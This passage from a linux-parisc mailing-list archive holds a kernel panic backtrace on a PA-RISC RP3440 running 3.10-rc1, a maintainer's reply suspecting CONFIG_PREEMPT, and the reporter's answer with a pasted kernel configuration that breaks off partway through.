 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e8 ]---
------------[ cut here ]------------
kernel BUG at mm/vmalloc.c:1339!
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Tainted: G        W   
r00-03  000000ff0804ff0f 000000007fc58c10 00000000401cc1ac 000000007fc58c90
r04-07  00000000406a9250 0000000000000001 0000000000000001 000000007fc88138
r08-11  00000000000000d0 0000000040112c44 000000003f000000 0000000000008000
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040112c44 00000000000000d0 000000003f000000 0000000000008000
r24-27  0000000000000001 0000000000000001 0000000000001000 00000000406a9250
r28-31  0000000000000400 000000007fc58c60 000000007fc58d50 000000000000044b
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401cb094 00000000401cb098
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 00000000000c6000
 IAOQ[0]: __get_vm_area_node.isra.22+0x1dc/0x1f8
 IAOQ[1]: __get_vm_area_node.isra.22+0x1e0/0x1f8
 RP(r2): get_vm_area+0x3c/0x50
Backtrace:
 [<00000000401cc1ac>] get_vm_area+0x3c/0x50
 [<0000000040112c44>] __ioremap+0x184/0x210
 [<00000000406dea5c>] lba_driver_probe+0x54/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
Backtrace:
 [<0000000040114c90>] show_stack+0x20/0x38
 [<000000004030066c>] dump_stack+0x3c/0x50
 [<0000000040114b58>] die_if_kernel.part.3+0xe0/0x1f8
 [<0000000040114d20>] die_if_kernel+0x58/0xb0
 [<0000000040114e7c>] handle_break+0x104/0x128
 [<000000004011575c>] handle_interruption+0x49c/0x7b8
 [<00000000401cb094>] __get_vm_area_node.isra.22+0x1dc/0x1f8
 [<00000000401cc1ac>] get_vm_area+0x3c/0x50
 [<0000000040112c44>] __ioremap+0x184/0x210
 [<00000000406dea5c>] lba_driver_probe+0x54/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48

Kernel panic - not syncing: Fatal exception in interrupt

-- 
Meelis Roos (mroos@linux.ee)

From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Tue, 14 May 2013 22:29:31 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <51929EAB.3020503@gmx.de>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368563377 11216 80.91.229.3 (14 May 2013 20:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 May 2013 20:29:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 14 22:29:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UcLqq-0002xm-5k
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 May 2013 22:29:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758111Ab3ENU3f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 May 2013 16:29:35 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53610 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757626Ab3ENU3e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 May 2013 16:29:34 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.10]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M5aK6-1UISSD16Fc-00xc4I for
 <linux-parisc@vger.kernel.org>; Tue, 14 May 2013 22:29:33 +0200
Original-Received: (qmail invoked by alias); 14 May 2013 20:29:33 -0000
Original-Received: from p54AD1259.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.18.89]
  by mail.gmx.net (mp010) with SMTP; 14 May 2013 22:29:33 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+utk9pMGSu+pdeFlDNaCch5wH3MkHqjsZJBgjn8x
	Zfb2CtdcDgpa0E
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5021>

Hi Meelis,
(I dropped linux-kernel mailing list from CC!)

On 05/14/2013 01:48 PM, Meelis Roos wrote:
> I saw parsic fixes in todays git and gave my RP3440 a test.

Great :-)

> It did not 
> work - first a __schedule_bug, 

I assume you have CONFIG_PREEMPT enabled?
We know it's currently broken.

> then a lot of warnings from 
> drivers/pci/search.c (2 different places) and finally a kernel panic.

See below.

> BUG: scheduling while atomic: swapper/0/0x0000000d
> Modules linked in:
> CPU: 0 PID: 0 Comm: swapper Not tainted 3.10.0-rc1-00087-g674825d #28
> Backtrace:
>  [<0000000040114c90>] show_stack+0x20/0x38
>  [<000000004030066c>] dump_stack+0x3c/0x50
>  [<000000004016b6a8>] __schedule_bug+0x70/0x98
>  [<000000004010fde0>] __schedule+0x368/0x398
>  [<000000004010ff40>] schedule+0x38/0x90
>  [<0000000040110184>] schedule_preempt_disabled+0x2c/0x50

^ yep.... CONFIG_PREEMPT I assume.


> WARNING: at drivers/pci/search.c:110

this line has: WARN_ON(in_interrupt());
I assume this is triggered by CONFIG_PREEMPT as well.

> ------------[ cut here ]------------
> kernel BUG at mm/vmalloc.c:1339!

-> again: BUG_ON(in_interrupt());


Please try again with CONFIG_PREEMPT disabled.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Wed, 15 May 2013 09:59:54 +0300 (EEST)
Lines: 1396
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1305150957460.29631@math.ut.ee>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <51929EAB.3020503@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1368601205 25564 80.91.229.3 (15 May 2013 07:00:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 May 2013 07:00:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 15 09:00:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UcVgv-0006q3-Qn
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 May 2013 09:00:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754713Ab3EOHAA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 May 2013 03:00:00 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:38414 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753605Ab3EOG77 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 May 2013 02:59:59 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id E1E1273DAAD;
	Wed, 15 May 2013 09:59:54 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id C385A427978; Wed, 15 May 2013 09:59:54 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id AAC05427977;
	Wed, 15 May 2013 09:59:54 +0300 (EEST)
In-Reply-To: <51929EAB.3020503@gmx.de>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5022>

> (I dropped linux-kernel mailing list from CC!)

Fine by me since linux-parisc seems to be active.

> > It did not 
> > work - first a __schedule_bug, 
> 
> I assume you have CONFIG_PREEMPT enabled?
> We know it's currently broken.

It is already disabled:

CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y

I just enabled the new irqstacks...

Full config:

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.10.0-rc1 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE="hppa64-linux-"
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="rp3440"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_FHANDLE is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
# CONFIG_ALWAYS_USE_PERSISTENT_CLOCK is not set

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_STALL_COMMON is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
CONFIG_UIDGID_CONVERTED=y
# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_HOTPLUG=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_PCI_QUIRKS=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
# CONFIG_MODULE_FORCE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_BLK_DEV_BSGLIB is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
# CONFIG_MLONGCALLS is not set
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_IRQSTACKS=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_NODES_SHIFT=3
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_PREEMPT_COUNT=y
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
# CONFIG_FLATMEM_MANUAL is not set
CONFIG_DISCONTIGMEM_MANUAL=y
CONFIG_DISCONTIGMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_NEED_MULTIPLE_NODES=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_CROSS_MEMORY_ATTACH is not set
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
# CONFIG_XFRM_USER is not set
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_XFRM_IPCOMP=m
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
CONFIG_NET_IP_TUNNEL=m
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
# CONFIG_ARPD is not set
CONFIG_SYN_COOKIES=y
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
# CONFIG_INET_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=m
CONFIG_IPV6_PRIVACY=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=m
CONFIG_INET6_ESP=m
CONFIG_INET6_IPCOMP=m
CONFIG_IPV6_MIP6=m
CONFIG_INET6_XFRM_TUNNEL=m
CONFIG_INET6_TUNNEL=m
CONFIG_INET6_XFRM_MODE_TRANSPORT=m
CONFIG_INET6_XFRM_MODE_TUNNEL=m
CONFIG_INET6_XFRM_MODE_BEET=m
CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=m
CONFIG_IPV6_SIT=m
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_GRE=m
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
CONFIG_NETLINK_MMAP=y
CONFIG_NETLINK_DIAG=m
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
CONFIG_FIB_RULES=y
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
# CONFIG_BLK_DEV is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ATMEL_SSC is not set
# CONFIG_ENCLOSURE_SERVICES is not set
CONFIG_HP_ILO=m
# CONFIG_PCH_PHUB is not set
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
CONFIG_EEPROM_93CX6=m
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
